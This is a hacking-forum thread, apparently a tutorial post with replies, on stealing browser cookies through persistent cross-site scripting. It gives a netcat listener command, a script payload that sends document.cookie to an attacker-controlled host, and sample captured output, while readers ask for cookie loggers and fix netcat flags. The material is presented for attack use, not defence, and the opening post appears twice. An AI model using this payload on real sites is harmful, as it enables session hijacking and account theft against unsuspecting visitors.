[RogueCoder]

This is nothing new really, but stealing cookie using cross-site scripting is an unbelievable simple task. You need two things

1. A website vulnerable to persistent cross-site scripting (Duh! obviously)
2. Netcat

Important: This method will only give you cookies that is not HttpOnly.

Step 1: Use netcat to listen to incoming traffic

Code:

$ nc -lv 4444

If you want to keep listening add the k option

Code:

$ nc -lvk 4444

Step 2: Infect the website

Code:

<script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>

Replace attacker with domain or IP

When someone visits the site you will get a result looking something similar to this

Code:

# nc -lv 4444 listening on [any] 4444 ... connect to [127.0.0.1] from localhost [127.0.0.1] 33362 GET /?cookie=username=someuser;%20uid=1 HTTP/1.1 Host: localhost:4444 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/cookie.php Cookie: username=someuser; uid=1 Connection: keep-alive

[RogueCoder]

This is nothing new really, but stealing cookie using cross-site scripting is an unbelievable simple task. You need two things

1. A website vulnerable to persistent cross-site scripting (Duh! obviously)
2. Netcat

Important: This method will only give you cookies that is not HttpOnly.

Step 1: Use netcat to listen to incoming traffic

Code:

$ nc -lv 4444

If you want to keep listening add the k option

Code:

$ nc -lvk 4444

Step 2: Infect the website

Code:

<script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>

Replace attacker with domain or IP

When someone visits the site you will get a result looking something similar to this

Code:

# nc -lv 4444 listening on [any] 4444 ... connect to [127.0.0.1] from localhost [127.0.0.1] 33362 GET /?cookie=username=someuser;%20uid=1 HTTP/1.1 Host: localhost:4444 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/cookie.php Cookie: username=someuser; uid=1 Connection: keep-alive

[Code_Hacker]

Where you put the first code?

[RogueCoder]

@Code_Hacker, if it's the nc part you're refering to, you write that in your terminal

[Code_Hacker]

@shp0ngl3 are you referring to cmd?

[RogueCoder]

@Code_Hacker, if you're using windows, then yes

[sneelika2013]

Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

[RogueCoder]

Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

Nope but there's a couple if you search the forums.. It's outside the scope of this tutorial

[sneelika2013]

Okay,Thanks for the tuto.. U have any COOKIE LOGGER??

Nope but there's a couple if you search the forums.. It's outside the scope of this tutorial

Ok thanks man.. I check it out :Thumbs-Up:

[godtheonlytruth]

Code:

nc -lvp 4444

doesn't work as -p can not be used with -l as stated by nc man page.

Code:

nc -lv 4444

instead works well.
Thanks for the tut though